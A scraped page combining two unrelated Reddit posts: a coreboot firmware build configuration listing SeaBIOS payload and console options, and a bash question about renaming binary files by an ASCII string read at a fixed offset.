CONFIG_USER_NO_TPM=y CONFIG_PLATFORM_HAS_DRAM_CLEAR=y CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y CONFIG_CONSOLE_SERIAL=y CONFIG_CONSOLE_SERIAL_115200=y CONFIG_TTYS0_BAUD=115200 CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y CONFIG_HWBASE_DEBUG_CB=y CONFIG_HAVE_ACPI_RESUME=y CONFIG_RESUME_PATH_SAME_AS_BOOT=y CONFIG_HAVE_MONOTONIC_TIMER=y CONFIG_HAVE_OPTION_TABLE=y CONFIG_IOAPIC=y CONFIG_USE_WATCHDOG_ON_BOOT=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_COMMON_FADT=y CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_PAYLOAD_SEABIOS=y CONFIG_PAYLOAD_FILE="payloads/external/SeaBIOS/seabios/out/bios.bin.elf" CONFIG_SEABIOS_STABLE=y CONFIG_SEABIOS_VGA_COREBOOT=y CONFIG_SEABIOS_BOOTORDER_FILE="../bootorder.txt" CONFIG_PAYLOAD_VGABIOS_FILE="payloads/external/SeaBIOS/seabios/out/vgabios.bin" CONFIG_SEABIOS_DEBUG_LEVEL=-1 CONFIG_PAYLOAD_OPTIONS="" CONFIG_COMPRESSED_PAYLOAD_LZMA=y CONFIG_COMPRESS_SECONDARY_PAYLOAD=y CONFIG_HAVE_DEBUG_RAM_SETUP=y CONFIG_HAVE_DEBUG_SMBUS=y CONFIG_DEBUG_BOOT_STATE=y CONFIG_NO_EDID_FILL_FB=y CONFIG_RAMSTAGE_ADA=y CONFIG_RAMSTAGE_LIBHWBASE=y CONFIG_HWBASE_DYNAMIC_MMIO=y CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 CONFIG_HWBASE_DIRECT_PCIDEV=y CONFIG_WARNINGS_ARE_ERRORS=y CONFIG_RELOCATABLE_MODULES=y CONFIG_BOOTBLOCK_CUSTOM=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_POSTCAR=y CONFIG_HAVE_RAMSTAGE=y
submitted by ironcunts to coreboot [link] [comments]

Read binary data in a file?

I have some binary files which all have an ASCII string at the same offset, like this:
$ od -j 0x1000 -N 0x10 -c FILE1.BIN 0010000 S A M P L E - D A T A - 0 0 0 1 0010020 
Now I want to rename them according to the data, in this example, rename FILE1.BIN to SAMPLE-DATA-0001.BIN. However, there is no option for od to directly dump the ASCII text.
submitted by pthfdr to bash [link] [comments]

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OTP Solutions LTD 0x1000 binary options

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